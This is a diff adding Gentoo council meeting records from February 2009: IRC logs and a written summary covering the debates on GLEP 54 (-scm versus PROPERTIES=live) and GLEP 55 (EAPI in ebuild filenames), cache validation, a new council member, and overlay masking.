+20:52 <@lu_zero> apparently the people using -9999 are happy with it
+20:52 < ciaranm> lu_zero: -9999 is a hack and it's wrong
+20:52 <@Betelgeuse> ciaranm: from end user view they can be used to provide same things
+20:52 <@lu_zero> ciaranm people using it disagree
+20:52 < tanderson> my question: does properties=live solve version ordering issues?
+20:52 < dev-zero> lu_zero: I agree with ciaranm there
+20:52 <@Betelgeuse> ciaranm:  but not all what each other enables of course
+20:52 < dev-zero> lu_zero: I'm using it and I agree
+20:52 < ciaranm> Betelgeuse: no, they're not the same for end users
+20:52 < ciaranm> lu_zero: people using -9999 use it because they have to
+20:52 <@lu_zero> dev-zero you hadn't update the related bug
+20:53 < ciaranm> lu_zero: they do not use it because it is right
+20:53 <@lu_zero> please do now
+20:53 < ciaranm> the implications of PROPERTIES=live and -scm are entirely different and largely unrelated
+20:53 <@Betelgeuse> ciaranm: what's the problem with doing periodic reinstalls with properties live?
+20:53 < dev-zero> ok, people, please
+20:53 < ciaranm> Betelgeuse: nothing, but that's not the entire point of -scm, and -scm isn't the only time you'd want periodic reinstalls
+20:53 < dev-zero> we have other things to discuss
+20:54 <@Betelgeuse> ciaranm: so you validate my earlier point?
+20:54 < ciaranm> Betelgeuse: uh, no
+20:54 < dberkholz> could you guys bounce this over to #-dev?
+20:54 <@Betelgeuse> ciaranm: first you say what I say is wrong and then right?
+20:54 <@Betelgeuse> You lost me.
+20:54 <@lu_zero> better ml-dev
+20:54 < dberkholz> i have another meeting coming up, and i'd like to at least mention the other topics first
+20:54 <@lu_zero> next one
+20:55 < dev-zero> yes
+20:55 < ciaranm> Betelgeuse: i'm saying you've missed the mark by about three miles and are about to fly into a wall
+20:55 < dev-zero> lu_zero: are you taking care of this topic?
+20:55 < tanderson> Who should I put down as responsible for handling glep 54?
+20:55 <@lu_zero> dev-zero I'll poll ml-dev and people and hopefully get the thing discussed again
+20:55 <@Cardoe> The only thing you've said so far is "-scm is the only right solution. people don't have a clue about prop=live vs -scm"
+20:56 < dev-zero> lu_zero: ok, thanks
+20:56 <@Cardoe> the only thing we've gotten thus far are fear mongering statements
+20:56 < dberkholz> tanderson: put luca, and say something about us cracking the whip at him
+20:56 < ciaranm> Cardoe: read the GLEP
+20:56 < ciaranm> PROPERTIES=live and -scm should not be mentioned within the same meeting because they'll just lead to people thinking they're somehow related
+20:56 <@Cardoe> ciaranm: I was asking you to provide us with a reasonable issue and how -scm fixes it while prop=live does not
+20:56 < ciaranm> Cardoe: ordering
+20:56 < tanderson> dberkholz: k
+20:57 <@Cardoe> instead we just had 15 minutes of time wasting
+20:57 <@Cardoe> next topic since we can't seem to get any info
+20:57 < ciaranm> Cardoe: ordering. which part don't you get?
+20:57 < dev-zero> the point is that we currently do all ordering by comparing names of the ebuild, prop=live breaks that
+20:57 -!- hparker [n=hparker@gentoo/developer/hparker] has left #gentoo-council ["uhm.... bye!"]
+20:57 < dberkholz> ciaranm: feel free to continue bringing up glep 54 on the list, since it would be nice to see some progress there
+20:57 < dev-zero> good
+20:58 <@Cardoe> when I say bring up a concrete example with some details.. providing a one word answer doesn't suffice
+20:58 < ciaranm> Cardoe: have you read the glep?
+20:58 < dev-zero> Cardoe, ciaranm: stop it -> ml
+20:58 < dberkholz> the only real thing left besides glep 54 is glep 55, and i think we'll have to push that to the list, much to my regret.
+20:58 < ciaranm> dberkholz: i don't think we're going to get anywhere until Cardoe reads the glep... we're back to my email earlier about people doing their homework...
+20:58 < dev-zero> I'd like to know who's going to take care of GLEP-55 and the bash-issue
+20:59 <@Cardoe> ciaranm: I have read the GLEP.
+20:59 <@Betelgeuse> dberkholz: my opinion still is that 55 needs something using it when it goes in
+20:59 <@Cardoe> ciaranm: I'm asking for a concrete example here in the council discussion
+20:59 < dberkholz> i really think that glep needs more enhancement. if you keep saying nobody gets it, that means it needs to be improved so people do get it
+20:59 < ciaranm> Cardoe: ordering
+20:59 <@Cardoe> to explain it clearly to everyone
+20:59 <@Cardoe> I think the GLEP is lacking and needs work
+20:59 < dev-zero> Cardoe: 55?
+20:59 < ciaranm> there's a whole section in the glep on ordering
+21:00 < darkside_> 55 is the best glep i have seen =/
+21:00 < ciaranm> do you really not understand it?
+21:00 -!- Ken69267 [n=Ken69267@gentoo/developer/ken69267] has joined #gentoo-council
+21:00 <@lu_zero> Cardoe I'm reading again what was the first thing happened when 54 got proposed
+21:00 < dberkholz> i need to go now. dev-zero, could you wrap up the meeting either now or whenever people finish talking?
+21:00 < tanderson> which glep are you guys talking about?
+21:00 < dev-zero> dberkholz: sure
+21:01 <@Cardoe> at this point I would say the meeting is over since there won't be any productive discussion happening on either GLEP
+21:01 < dev-zero> tanderson: of 54 and 55 at the same time, thus the mess
+21:01 < dev-zero> Cardoe: not yet
+21:01 < dev-zero> do we have someone taking care of GLEP-55?
+21:01 < tanderson> dev-zero: exactly my dilemma for the summary
+21:01 <@Cardoe> dev-zero: we haven't had anyone taking care of it for ages because no one has been interested.
+21:02 < tanderson> darkside apparently is
+21:02 < dev-zero> Cardoe: then you do the bash-3.1 issue?
+21:02 <@Betelgeuse> I will be writing a new GLEP soon so I would like to focus on that.
+21:02 <@Betelgeuse> Itäs not related to 54 or 55.
+21:02 < ciaranm> no, we haven't had anyone taking care of 55 because every time it gets pushed the same already-answered questions get raised
+21:02 < dev-zero> dberkholz is taking care of CoC
+21:02 <@lu_zero> ciaranm basically not enough people wants anything about it
+21:02 <@Betelgeuse> ciaranm: probably also because zac has not been interested
+21:03 <@lu_zero> so is a non-issue to most of the people
+21:03 < dev-zero> Betelgeuse: so, do you mind bringing GLEP 55 up on the mailing-list? I'll also join in
+21:03 < ciaranm> 55's necessary, it's just that every time it comes along it gets trolled to death by a couple of malcontents
+21:03 < dev-zero> ciaranm: can you please step aside for a moment
+21:03 <@lu_zero> ciaranm statistics say otherwise
+21:03 < ciaranm> lu_zero: please point me to the legitimate technical objections to 55
+21:04 <@lu_zero> ciaranm I do not need any
+21:04 <@Cardoe> Just because there's no technical objectives to something doesn't mean there's a need for someone.
+21:04 <@Cardoe> er something
+21:04 <@lu_zero> I could plug it getting portage scream about non undersandable files in it's dirs
+21:04 < dev-zero> tanderson: I think we have someone for every point, don't we?
+21:04 < ciaranm> which of the many reasons for 55 being necessary do you not accept?
+21:04 <@lu_zero> and that is a good behaviour.
+21:05 <@Betelgeuse> dev-zero: I thought I said to the contrary
+21:05 <@lu_zero> ciaranm the fact it started as a solution looking for a problem
+21:05  * NeddySeagoon is reminded of VHS vs Betamax ... marketing beat technical excellence
+21:05 <@lu_zero> an hack over a fail tolerance measure
+21:05 <@lu_zero> and so on.
+21:05 < dev-zero> Betelgeuse: then I didn't understand you :)
+21:05 < ciaranm> lu_zero: which of the many problems listed for 55 do you not consider legitimate?
+21:05 < dev-zero> Betelgeuse: I'll take care of it then
+21:05 < tanderson> dev-zero: would that be you for glep 55?
+21:05 < dev-zero> tanderson: yes
+21:05 < ciaranm> lu_zero: 55 came about to solve a half dozen real and nasty problems
+21:05 < tanderson> ok
+21:05 <@lu_zero> ciaranm there is a list of 6 points in the glep?
+21:06 < dev-zero> we're done then
+21:06 <@Betelgeuse> good I need to go as it's getting late
+21:06 < ciaranm> lu_zero: yup
+21:06 <@lu_zero> no
+21:06 <@Cardoe> Additionally, I would oppose the acceptance of both GLEPs until we had sample code for Portage to implement them as well.
+21:06 < ciaranm> lu_zero: the glep lists three bullet points that cover at least six real problems
+21:07 < dev-zero> ok, the meeting is over
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090226-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090226-summary.txt
new file mode 100644
index 00000000..bb3cce5d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090226-summary.txt
@@ -0,0 +1,60 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dberkholz: here
+dertobi123: here
+dev-zero: here
+leio: here
+lu_zero: here
+tanderson(secretary): here
+
+Topics:
+===========
+
+Open Council Spot:
+    - Should leio fill the empty council spot?
+        Since Mark(halcy0n) resigned from the council there is an empty spot.
+        Since Mart Raudsepp(leio) is ranked next from the last election, he is
+        eligible to fill the spot.
+
+        Conclusion:
+            Mart Raudsepp is unanimously approved for the council.
+
+Technical Issues:
+    - GLEP 55
+        There had been quite a bit of discussion on this topic recently.
+        Within hours of the council meeting new proposals were being proposed
+        and discussion was ongoing. 
+
+        Conclusion:
+            No decision as of yet. Ciaran Mccreesh(ciaranm) and Zac
+            Medico(zmedico) volunteered to benchmark the various proposals on
+            the package managers they maintain(paludis and portage
+            respectively. Petteri(Betelgeuse) will assist with the portage
+	    benchmarks. Tiziano(dev-zero) and Alec Warner(antarus) will write
+            up a comparison of the various proposals and their various
+            advantages and disadvantages within a week.
+
+    - GLEP 54
+        There had been some discussion on gentoo-dev since last meeting,
+        though no consensus or agreement had been reached(surprise!)
+
+        Conclusion:
+            Thomas Anderson(tanderson) and Luca Barbato(lu_zero) will write up
+            a comparison of the advantages and disadvantages of the two
+            proposals(-scm and _live). This will be completed within a week.
+
+    - Overlay Masking in Repositories.
+        Brian Harring(ferringb) asked for discussion for when overlays
+        attempted to unmask packages provided by the master 
+        repository(gentoo-x86). Because this is only available in portage
+        (it is contrary to PMS), Brian thought it should not be allowed.
+        
+        Numerous suggestions were made to the effect that if a standardized
+        set format was agreed upon for repositories and package.unmask was
+        allowed to contain sets, then this problem would be fixed.
+
+        Conclusion:
+            No decision, as only discussion was requested. Mart Raudsepp(leio)
+	    will follow up on this with discussion on gentoo-dev
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090226.txt b/xml/htdocs/proj/en/council/meeting-logs/20090226.txt
new file mode 100644
index 00000000..6cb82a93
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090226.txt
@@ -0,0 +1,458 @@
+20:00 <@dberkholz> roll call, please
+20:00 <@Cardoe> dberkholz: we might have to moderate this one....
+20:01 < ciaranm> ferringb: you can do that just with assignment too if you impose restrictions upon where the assign occurs... if you need details prod me in another channel
+20:01 < dev-zero> dberkholz: here
+20:01 < tanderson> <--- here
+20:01 <@Cardoe> dberkholz: here
+20:01 <@dertobi123> <- here
+20:01 <@Betelgeuse> \o/
+20:02 <@dberkholz> leio: here?
+20:02 < leio> yes
+20:02 <@dberkholz> alright, first topic is the open spot
+20:02 <@dberkholz> leio accepted, we need confirmation votes from Cardoe and dev-zero
+20:02 < dev-zero> go for it! :)
+20:02 <@Cardoe> dberkholz: good by me
+20:02 <@dberkholz> excellent
+20:03 -!- mode/#gentoo-council [+o leio] by dberkholz
+20:03  * lu_zero is here btw..
+20:03 <@dberkholz> leio: welcome to the council!
+20:03 <@lu_zero> =)
+20:03 <@leio> Thanks :)
+20:03 <@lu_zero> thank you for being here ^^
+20:03 < tanderson> dev-zero: now don't you feel special :P
+20:04 < dev-zero> tanderson: why?
+20:04 < tanderson> dev-zero: no @
+20:04 < tanderson> ;-)
+20:04 -!- mode/#gentoo-council [+o dev-zero] by dertobi123
+20:04 <@dev-zero> dertobi123: thx :)
+20:04 <@dberkholz> i've updated the channel access to reflect halcy0n's resignation and leio's joining
+20:05 <@dberkholz> let's move on to the next topic -- progress toward a solution for glep 55 etc.
+20:05 <@dberkholz> people see my email?
+20:05 <@dberkholz> if not, http://archives.gentoo.org/gentoo-dev/msg_8125876cd6a1e7c3cea3385f02c1ea6f.xml
+20:05 <@leio> dev-zero is not in access list
+20:06 <@Cardoe> dberkholz: thanks. I need to get with infra about missing mail
+20:06 <@dertobi123> "my email" doesn't specify any of this hundreds of mails, but i guess i did read the one you're speaking of
+20:06 <@dberkholz> leio: and updated again. =)
+20:06 <@dberkholz> dertobi123: thus the link =)
+20:06 <@dertobi123> heh
+20:06 <@dertobi123> so yeah, seen that mail
+20:07 <@leio> yes, have read that mail
+20:07 <@dberkholz> antarus: here, by chance?
+20:07 <@Betelgeuse> The features are quite easy to implement so I could work with zmedico to implement both glep 55 and lock in and see how performance goes with Portage in practise.
+20:08 <@lu_zero> that sounds good
+20:08 <@Betelgeuse> If we don't make a decision today I would like us to decided that we will decide in the next meeting unless the sky falls down or something.
+20:08 <@dev-zero> agreed
+20:08 <@dberkholz> well, considering people were still proposing new solutions in the past 2 hours, that would be pretty hard.
+20:09 <@dertobi123> exactly
+20:09 <@dberkholz> (to decide today)
+20:09 <@Cardoe> everytime I open my e-mail there's a new solution proposed
+20:09 <@dberkholz> since i don't think we can decide today, what i suggested instead is concrete action that will move us closer to a decision and make it much easier to decide by having the relevant info all in one place
+20:09 < darkside_> i would like to point out that even EAPI-1 is still bricking people systems today. allenJB reports 4 threads in the forums this month about people bringing systems up to date and haveing to reinstall. i know we can't support people forever, but there it is for your consideration
+20:10 <@dev-zero> darkside_: jup, G55 would solve that as long as pm's ebuild are being kept on EAPI=0
+20:10 <@lu_zero> darkside_ reinstall or update from a stage3 unpacked there?
+20:11 <@dberkholz> basically what i'd like to see is something much like http://dev.gentoo.org/~antarus/projects/gleps/glep-0055.html that stops short of actually proposing a single solution, just compares all of them and how well they accomplish what we need.
+20:11 <@Betelgeuse> dev-zero: I don't see how G55 is related
+20:11 <@Betelgeuse> It just depends on EAPI values
+20:11 <@dberkholz> what do the rest of you think about that?
+20:11 <@Betelgeuse> not how EAPI is specified
+20:11 < tanderson> I don't see how EAPI 1 is related at al really
+20:11 < bonsaikitten> dev-zero: actually system, not only pm ...
+20:12 <@Cardoe> dberkholz: I like it
+20:12 <@dertobi123> dberkholz: i do agree
+20:12 <@leio> dberkholz: yes please
+20:12 < tanderson> I would like Betelgeuse's suggestion about a mandatory decision deadline to be considered as well
+20:12 <@dev-zero> dberkholz: well, why don't you like a proposal for a solution after the comparison?
+20:12 <@dev-zero> tanderson: second that
+20:12 <@Betelgeuse> We really should setup something for regularly testing upgrade paths but discussion about that is for an another day
+20:13 <@dberkholz> dev-zero: because i'd prefer to make my decision based on the data instead of following someone's conclusion
+20:13 <@dberkholz> maybe only 1 solution will actually fit the requirements, in which case it's pretty obvious.
+20:13 <@dev-zero> ok then, let's do it
+20:13 <@Betelgeuse> But the issue here hasn't really been technical merits.
+20:13 <@Betelgeuse> But what people like.
+20:14 <@lu_zero> Betelgeuse yet numbers could help
+20:14 <@Betelgeuse> If we ruled based on technical merits we could just vote 55 in now.
+20:14 <@Cardoe> Betelgeuse: that's why we're looking for a decent comparison. I would expect technical merits to be considered in the comparison
+20:14 <@dberkholz> not everyone shares that point of view
+20:14 < tanderson> lu_zero: not really if the alternate proposals are just bikeshedding( I don't mean that in a bad way)
+20:14 <@lu_zero> given much had been said about embedding in ebuild the information would be a detriment to performances
+20:14 <@leio> I'd have technical objection to 55, and non-technical objections matter as well.
+20:14 <@dberkholz> i've really been enjoying richard freeman's emails
+20:15 <@Betelgeuse> leio: If you have technical do share, as I don't remember seeing any.
+20:15 <@dev-zero> leio: jup, me neither
+20:15 < ciaranm> leio: please provide me a summary of the technical objections to 55, because i seem to have missed them
+20:16 <@leio> I discussed stuff pre-meeting here, I'll try to write something up to the list. I just started catching up with these things today, sorry.
+20:16 <@dev-zero> dberkholz: ok, so what are we going today then?
+20:16 <@dberkholz> i don't think it particularly matters whether objections are "technical" or not
+20:16 <@dberkholz> only that enough of us agree that they are important
+20:17 <@Betelgeuse> It could go down to the opposition easier if we already have it implemented in Portage when we approve it.
+20:17 <@dberkholz> on that note, ferringb also offered to prototype things in pkgcore.
+20:17  * ciaranm already has implementations of everything in paludis
+20:17 <@lu_zero> as long they could be tried and inspected easily
+20:17 <@dberkholz> ciaranm: implementations of every proposal?
+20:17 -!- [equilibrium] [n=[equilib@gentoo/contributor/equilibrium] has quit [Remote closed the connection]
+20:18 < ciaranm> dberkholz: yup
+20:18 <@dberkholz> man, you must have a lot of free time. i'm jealous.
+20:18 < ciaranm> naah, just a nice clean codebase
+20:18 <@Betelgeuse> ciaranm: even eapi 2 || die?
+20:18 <@Betelgeuse> :)
+20:18 < ciaranm> Betelgeuse: that one's trivial
+20:18 <@Cardoe> Betelgeuse: That's another thing I'd like... a Portage implementation ready at approval time.
+20:18 < ciaranm> you can cover every proposal with three implementations
+20:18 <@Cardoe> I'm very much a fan of having code provided along with the proposal.
+20:18 < ferringb> dberkholz: 20 minutes an implementation or so is all thats really required.  it's simple, the slow part is testing each scenario (old manager, new manager, perf, etc)
+20:19 < ciaranm> and one of those implementations differs from another only by three lines of bash
+20:19 <@dberkholz> in a week from now, i'd like to see an updated version similar to http://dev.gentoo.org/~antarus/projects/gleps/glep-0055.html with the changes i suggested and updates for the latest discussion
+20:19 <@dberkholz> that way we have a reasonable chance of actually making a decision by next meeting
+20:19 < NeddySeagoon> and some test resuts ?
+20:19 <@Betelgeuse> ciaranm: Ok should be easy to create the same results for Paludis then
+20:20 < dleverton> Betelgeuse: the benchmarking?
+20:20 < ciaranm> test results: 55 is the only one that solves a whole bunch of problems, and anything involving pre-parsing the ebuild gives a 25% to 50% slowdown for -pi world
+20:20 <@dberkholz> well, if having test results is a requirement, any option that doesn't have them can't be selected. =P
+20:20 < tanderson> dberkholz: handy ;-)
+20:21 <@Betelgeuse> ciaranm: Can't you use the cache for lock down as you can just check mtime of the ebuild?
+20:21 <@leio> note that performance isn't a metric that can be taken easily. An implementation of a method previous much slower could potentially be made almost as quick or quicker with further optimization work
+20:21 < ciaranm> Betelgeuse: how do you mean?
+20:21 <@lu_zero> leio the implementations have to be comparable indeed
+20:21 <@Betelgeuse> ciaranm: If EAPI can only be set by the ebuild in one place then the cache is valid according to the same rules as now
+20:21 < ciaranm> leio: it's a legitimate concern when you have i/o bound processes that've already been carefully optimised for i/o
+20:22 <@Betelgeuse> ciaranm: Or did I get somethign wrong?
+20:22 <@leio> it is not necessarily a concern that can't be overcome
+20:22 < ciaranm> Betelgeuse: that's not actually true for future EAPIs
+20:22 <@Betelgeuse> ciaranm: But if we make it so
+20:22 < jmbsvicetto> Betelgeuse: one could also think about reviewing the cache - something like has been talked in the -scm ml
+20:22 < ciaranm> Betelgeuse: then we need a new cache format, with a second level of EAPI-like-thing... CAPI or whatever
+20:22 < ferringb> all proposals at this point require a single authorative "this is my eapi" setting somewhere (whether filename, invocation, or var setting)
+20:22 <@leio> or putting the EAPI in Manifest, you touch it anyway
+20:22 <@leio> (read it)
+20:23 <@leio> (but probably not in all cases needed, so it does inflict some extra I/O in some situations)
+20:23 <@Betelgeuse> ciaranm: Why as long as we don't run over the available entries?
+20:23 <@Betelgeuse> s/over/out/
+20:23 < ciaranm> Betelgeuse: because the rules used to determine whether a cache entry is valid can change
+20:23 < ciaranm> leio: manifest stops people handing out .ebuild files
+20:23 < ferringb> ciaranm: and the new mechanism will use keys as needs be for it.  that doesn't require flat_hash (even though I prefer flat_hash)
+20:24 < zmedico> Betelgeuse: worst case is that you have the parse the head of the ebuild to pull the eapi which is about the same cost as parsing a cache entry
+20:24 <@leio> it does not, the EAPI is still in the ebuild. ebuild .. manifest caches it in Manifest
+20:24 < ciaranm> zmedico: you mean double the cost
+20:24 <@leio> handing out .ebuild's means the receiving end needs to run ebuild manifest on it anyway
+20:24 < ciaranm> leio: under current rules you can't get the EAPI until you know the EAPI
+20:24 < zmedico> ciaranm: sure but that's only worst case, and not so bad
+20:24 < ciaranm> zmedico: no, it's the normal case
+20:24 -!- spitfire_ [n=quassel@acom231.neoplus.adsl.tpnet.pl] has joined #gentoo-council
+20:25 <@leio> what I'm discussing is an optimization method, it goes along a set of rules for a new method
+20:25 -!- strites [n=Nebula@host34-123-dynamic.8-87-r.retail.telecomitalia.it] has joined #gentoo-council
+20:25 < zmedico> ciaranm: it's the case when unsupported eapis are in the tree.
+20:25 <@Betelgeuse> ciaranm: but you can now if the cache is valid for EAPI
+20:25 <@Betelgeuse> ciaranm: not for other entries of course
+20:25 < ciaranm> zmedico: that needs a real fix (*cough* 55 *cough*) anyway
+20:26 <@lu_zero> a real fix wouldn't involve having also a cache format migration ?
+20:26 < ciaranm> Betelgeuse: if you introduce any new global scope functions in a new EAPI, you also have to introduce a new cache format
+20:26 < ferringb> no you don't
+20:26 < ciaranm> Betelgeuse: unless you go with 55, in which case you don't need to
+20:26 -!- Qlawy [n=marcin@gentoo/user/qlawy] has joined #gentoo-council
+20:26 < zmedico> ciaranm: the only thing I really dislike about glep 55 is the infinite series of file extensions because it's highly unconventional
+20:26 <@Betelgeuse> ciaranm: please xplain why
+20:26 <@dberkholz> i would expect that the main tree is primarily composed of ebuilds that stable portage users can parse and use
+20:26 < ciaranm> zmedico: no more infinite than having PV in there, which we do already
+20:26 < ciaranm> dberkholz: 'primarily' is the problem. it's not 'exclusively'.
+20:27 < zmedico> ciaranm: PV isn't currently part of the file extension
+20:27 <@dberkholz> so having a slot path for minority users doesn't seem too terrible
+20:27 <@leio> I don't think discussion of this during meeting time is a good approach here. I think scheduling an IRC discussion about this could be (e.g, after the meeting)
+20:27 <@dberkholz> slow path*
+20:27 < tanderson> zmedico: or more important as far as gentoo goes, -rX is quite similar
+20:27 < zmedico> ciaranm: I'm talking about moving eapi to the left of the file extension
+20:27 < ciaranm> Betelgeuse: new global scope functions can invalidate the cache in ways that current package managers won't detect
+20:27 < ferringb> err
+20:27 < ciaranm> zmedico: you mean .eapi3.eb?
+20:27 < zmedico> ciaranm: right
+20:27 < ciaranm> zmedico: and PV is part of the file name, which is effectively the same as part of the file extension
+20:28 < ferringb> zmedico: redundant.  just do it as the extension if you're going to try that.
+20:28 <@Betelgeuse> ciaranm: sure but the cache ist ill valid for EAPI from which you get the cache validation rules
+20:28 < ferringb> zmedico: only benefit that gets is being able to still do *.ebuild globbing, which is questionably benefit.
+20:28 < zmedico> ciaranm: when I say "file exension" I'm talking about the part to the right of the last period
+20:28 < ciaranm> Betelgeuse: nope. if you have an ebuild that's EAPI 1, generate cache for it and then do one of these new style changes, the cache entry can show up as still valid
+20:28 < ciaranm> zmedico: how is having a short number in the file extension any different from having a short number in the middle of the filename?
+20:29 <@Betelgeuse> ciaranm: The mtime of the ebuild changes and the cache entry is not valid any more
+20:29 < ciaranm> Betelgeuse: not if the ebuild isn't what changes
+20:29 < jmbsvicetto> ciaranm: last time I read EAPI was defined as being a string - not a number
+20:29 <@Betelgeuse> ciaranm: But you must change EAPI
+20:29 < ferringb> ciaranm: all proposals require the ebuild to specify the eapi
+20:29 <@Betelgeuse> ciaranm: And EAPI can only be set in the ebuild
+20:29 <@dev-zero> jmbsvicetto: pms requires eapis used in Gentoo being numbers
+20:29 < ferringb> ciaranm: all *non g55* to be clear.
+20:29 < ciaranm> jmbsvicetto: it's defined as number for gentoo stuff, and not number for everyone else
+20:29 < ciaranm> Betelgeuse: that's not true, though
+20:29 <@dev-zero> jmbsvicetto: other projects/overlays need to use strings
+20:29 <@Betelgeuse> ciaranm: why not?
+20:30 < zmedico> ciaranm: glep 55 proposes an infinite series of file extensions (the part after the righmost period). I think it's too unconventional. I've never seen anybody do that.
+20:30 <@leio> ability to do *.ebuild globbing is an important aspect
+20:30 < ciaranm> Betelgeuse: you don't know what future EAPIs say, and there're plenty of things they could say that invalidates that
+20:30 < tanderson> zmedico: I have
+20:30 -!- Qlawy [n=marcin@gentoo/user/qlawy] has left #gentoo-council []
+20:30 <@leio> I can not define a MIME type for ebuilds if *.ebuild doesn't match
+20:30 < ciaranm> zmedico: ok, so if we say "after EAPI 99, glep 55 must be reevaluated" you'll be happy?
+20:30 <@Betelgeuse> ciaranm: Well isn't GLEP 55 more restrictvive than that?
+20:30 <@Betelgeuse> ciaranm: Because it's in the file name so it can't be set anywhere else
+20:30 < ciaranm> Betelgeuse: glep 55 removes the problem
+20:30 < ferringb> ciaranm: future eapis will still be reliant on the digest/mtime of the ebuild being a component of it however, combined w/ eapi having to be specified in the ebuild that's enough to detect and recheck the eapi
+20:30 <@dberkholz> let's give this discussion another 10 minutes, then finish up the meeting and let discussion on glep 55/etc continue afterwards
+20:31 <@Cardoe> I happen to agree with leio. That's really my only reservation with GLEP 55 from the start.
+20:31 < ferringb> ciaranm: trying to do *all* other form of cache validation on an unsupported eapi is not possible, thus it's a nonissue you're pointing at
+20:31 < zmedico> ciaranm: no, even a finite series of file extensions is unconventional
+20:31 < ciaranm> you shouldn't be doing *anything* with any ebuild EAPI you don't understand
+20:31 <@leio> this is basically my currently only known technical objection, but I'm still working through everything
+20:31 < ciaranm> zmedico: you mean like .mp3 and .mp4?
+20:31 < ferringb> ciaranm: they cycle significantly slower then eapi one might note
+20:32 <@Betelgeuse> ciaranm: How does it remove it?
+20:32 < jmbsvicetto> ciaranm: that's a good point - don't try to guess what an unknown EAPI does
+20:32 < ciaranm> Betelgeuse: because package managers don't see anything they can't support
+20:32 < zmedico> ciaranm: what ferringb said
+20:32 <@Betelgeuse> ciaranm: They can see the EAPI with lock down just as well
+20:32 < ciaranm> zmedico, ferringb: you can have a cache entry with a set and valid looking current EAPI that ends up being invalid under new EAPI rules
+20:33 < ciaranm> Betelgeuse: if you make the lock strict enough, yes. except that still doesn't let you fix MY_PV.
+20:33 < ferringb> ciaranm: no one is arguing that.  the cache for that specific eapi however will contain the additional chksum info
+20:33 < ciaranm> ferringb: sure, but current package managers don't know that
+20:33 <@Betelgeuse> ciaranm: What is the fix to that?
+20:33 < ferringb> ciaranm: current manageres don't need to know  anything further
+20:34 < zmedico> ciaranm: I think debian has something called an "version epoc" in the file name which they use to change version rules. we sould do the same for eapi
+20:34 < ciaranm> Betelgeuse: the fix is to implement glep 55, and then relax a lot of restrictions that're currently only on PV for historical reasons
+20:34 < jmbsvicetto> ciaranm: but how are current package managers going to apply the rules in a new EAPI they don't know?
+20:34 < ferringb> ciaranm: the cache entry, if the eapi is something they don't know, they should *not* be fucking around with.  it's a nonissue
+20:34 < ciaranm> zmedico: that's what 55 is
+20:34 <@dev-zero> Betelgeuse: allow foo-1.2.3-1.ebuild for example
+20:34 < jmbsvicetto> ciaranm: or are you proposing we can make incompatible changes to an existing EAPI?
+20:34 < ciaranm> ferringb: but the cache entry can contain an EAPI that they know, and still be invalid
+20:34 < ferringb> ciaranm: the only thing they should be doing at best, is checking mtime/digest of the ebuild against a guranteed value in the cache- the existing mtime field
+20:34 < zmedico> ciaranm: right, but the eapi shouldn't go in the extension
+20:34 < ciaranm> jmbsvicetto: the issue is that there can be invalid cache entries that look valid to current package managers
+20:35 < ferringb> ciaranm: again, ebuilds mtime/digest solves this.  this is the first step of cache validation for all years of portage.
+20:35 < ciaranm> zmedico: if you want to push for .eapi3.eb instead of .ebuild-3, i'm not going to argue it
+20:35 < ciaranm> ferringb: only if the ebuild's mtime changes. you don't know that it will in future.
+20:35 <@Betelgeuse> we do
+20:35 < zmedico> ciaranm: well, filename or parsed from head of ebuild are both fine with me
+20:35 < ferringb> ebuild sets the eapi.
+20:35 < ciaranm> Betelgeuse: nnnnnope
+20:35 < ferringb> yep
+20:36 < ferringb> the other example is git.  notice how I kept saying "digest"
+20:36  * tanderson cries at summarising this
+20:36 <@Betelgeuse> ciaranm: If EAPI is in the first line of the ebuild how come ebuild mtime does not change when EAPI is changed?
+20:36 < ferringb> ciaranm: it's addressed; if you think otherwise, give the example now please.
+20:36 <@dberkholz> tanderson: on the bright side, perhaps you'll have done much of the work for the comparison we need =)
+20:36 < tanderson> dberkholz: I volunteered for glep54, not 55 though
+20:36 < ciaranm> Betelgeuse: if you're talking adding in new restrictions that current ebuilds don't follow, then yes, you can fix it
+20:37 < ciaranm> ferringb: change where inherit looks. splat.
+20:37 < jmbsvicetto> ciaranm: that is one alternative proposal
+20:37 <@Betelgeuse> ciaranm: If we arent' changing things why are we talking?
+20:37 < ferringb> ciaranm: irrevelant
+20:37 < ciaranm> Betelgeuse: we're talking about changing some things without changing others too, which you can't do
+20:37 <@Betelgeuse> 20:22 <@Betelgeuse> ciaranm: Can't you use the cache for lock down as you can just check mtime of the ebuild?
+20:38 < ferringb> ciaranm: that's getting into global scope explosions, which aren't related to checking if an existant cache entry for an unknown eapi is valid
+20:38 <@Betelgeuse> I talked about that from the start. Don't know what you are talkinga bout.
+20:38 < ciaranm> Betelgeuse: rephrase that please
+20:38 < jmbsvicetto> Betelgeuse / ciaranm: also, what restrictions could be raised if we started using digests?
+20:39 < ciaranm> jmbsvicetto: if we ditch the current cache format we can fix the validation issues by using a second sub-EAPI. still stinks when you introduce new ebuilds into the tree though.
+20:39 -!- Naib [n=j@fu/hw/naib] has joined #gentoo-council
+20:39 < ferringb> ciaranm: we don't need to ditch the cache format
+20:40 < ferringb> you've been ducking each point I've made contradicting your validation logic justifying ditching the format
+20:40 <@Betelgeuse> I will just see if I hit what ciaramn says when coding it.
+20:40 < ferringb> address those before claiming we need a new format
+20:40 < ciaranm> the mtime rules on the current format aren't enough if you're allowed to change where inherit looks
+20:40 <@dberkholz> let's put this discussion on pause for about 10 minutesf
+20:40 <@Betelgeuse> But inherit has no effect on EAPI
+20:40 < ciaranm> Betelgeuse: currently it does
+20:40 <@Betelgeuse> ciaranm: not with new eapis if we make it so
+20:40 <@dberkholz> we need to get through a couple of quick things
+20:40 < ciaranm> Betelgeuse: still need to deal with existing cases
+20:40 < zmedico> Betelgeuse: we can version the cache like I said here: http://archives.gentoo.org/gentoo-dev/msg_d667a0dd748b2fefa5a5378000104974.xml
+20:41 <@dev-zero> dberkholz: like?
+20:41 < jmbsvicetto> ciaranm: let's just make it a rule - mandatory EAPI setting in ebuild's 1st line and no overriding
+20:41 < ferringb> dev-zero: repositories that aren't pms compliant
+20:41 < ciaranm> the problem with zmedico's versioned cache is that it still imposes the icky performance penalty when new EAPIs with new cache rules come along. 55 fixes that.
+20:41 < nelchael> jmbsvicetto: non-comment line maybe?
+20:41 <@Betelgeuse> ciaranm: I don't see how it makes a difference wrt cache if it's in the file name or the first line for eample
